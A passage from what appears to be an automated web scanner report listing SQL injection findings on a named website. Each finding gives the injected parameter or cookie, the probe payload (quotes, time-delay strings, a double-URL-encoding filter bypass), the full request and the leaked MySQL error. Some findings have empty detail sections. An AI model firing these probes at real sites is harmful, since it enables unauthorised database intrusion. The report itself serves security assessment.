Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:50:06 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 10077

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.15. http://fanpeeps.com/bg2.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/bg2.jpg

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload " was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /bg2.jpg" HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/worldcup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936; __utmb=181893936.1.10.1305373774

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 11:50:07 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17354

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.16. http://fanpeeps.com/bg2.jpg [__utma cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/bg2.jpg

Issue detail

The __utma cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the __utma cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /bg2.jpg HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/?action=news&pid=18&iid=7
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1'; __utmc=181893936

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:32:39 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17390

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.17. http://fanpeeps.com/bg2.jpg [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/bg2.jpg

Issue detail

The __utmz cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the __utmz cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /bg2.jpg HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/?action=news&pid=18&iid=7
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)'; __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:32:38 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17299

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.18. http://fanpeeps.com/bg2.jpg [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/bg2.jpg

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ,0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /bg2.jpg?1,0,0)waitfor%20delay'0%3a0%3a20'--=1 HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/worldcup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936; __utmb=181893936.1.10.1305373774

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 11:50:03 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17318

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.19. http://fanpeeps.com/function.fopen [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/function.fopen

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /function.fopen'waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:22 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17290

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.20. http://fanpeeps.com/function.fopen [__utma cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/function.fopen

Issue detail

The __utma cookie appears to be vulnerable to SQL injection attacks. The payload ',0,0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the __utma cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /function.fopen HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2',0,0,0)waitfor%20delay'0%3a0%3a20'--; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:17 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17952

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.21. http://fanpeeps.com/function.fopen [__utmc cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/function.fopen

Issue detail

The __utmc cookie appears to be vulnerable to SQL injection attacks. The payload %2527 was submitted in the __utmc cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the __utmc cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /function.fopen HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936%2527; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:26 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 18102

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.22. http://fanpeeps.com/function.fopen [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/function.fopen

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /function.fopen HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)'; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:50 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17181

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.23. http://fanpeeps.com/function.fopen [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/function.fopen

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload )waitfor%20delay'0%3a0%3a20'-- was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /function.fopen?1)waitfor%20delay'0%3a0%3a20'--=1 HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:45:52 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17361

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.24. http://fanpeeps.com/greybox/AJS.js [__utma cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/greybox/AJS.js

Issue detail

The __utma cookie appears to be vulnerable to SQL injection attacks. The payload ',0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the __utma cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /greybox/AJS.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2',0,0)waitfor%20delay'0%3a0%3a20'--; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:07 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17272

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.25. http://fanpeeps.com/greybox/AJS.js [__utmb cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/greybox/AJS.js

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /greybox/AJS.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380';

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:39 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17300

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

GET /greybox/AJS.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380'';

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:39 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17577

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.26. http://fanpeeps.com/greybox/AJS.js [__utmc cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/greybox/AJS.js

Issue detail

The __utmc cookie appears to be vulnerable to SQL injection attacks. The payload ,0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the __utmc cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /greybox/AJS.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936,0,0)waitfor%20delay'0%3a0%3a20'--; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:22 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17290

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.27. http://fanpeeps.com/greybox/AJS.js [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/greybox/AJS.js

Issue detail

The __utmz cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmz cookie, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the __utmz cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /greybox/AJS.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)%2527; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:52 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17263

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

GET /greybox/AJS.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)%2527%2527; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:53 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 91517

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.28. http://fanpeeps.com/greybox/AJS.js [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/greybox/AJS.js

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /greybox/AJS.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)'; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:27 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17185

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

GET /greybox/AJS.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)''; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:31 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.29. http://fanpeeps.com/greybox/gb_scripts.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/greybox/gb_scripts.js

Issue detail

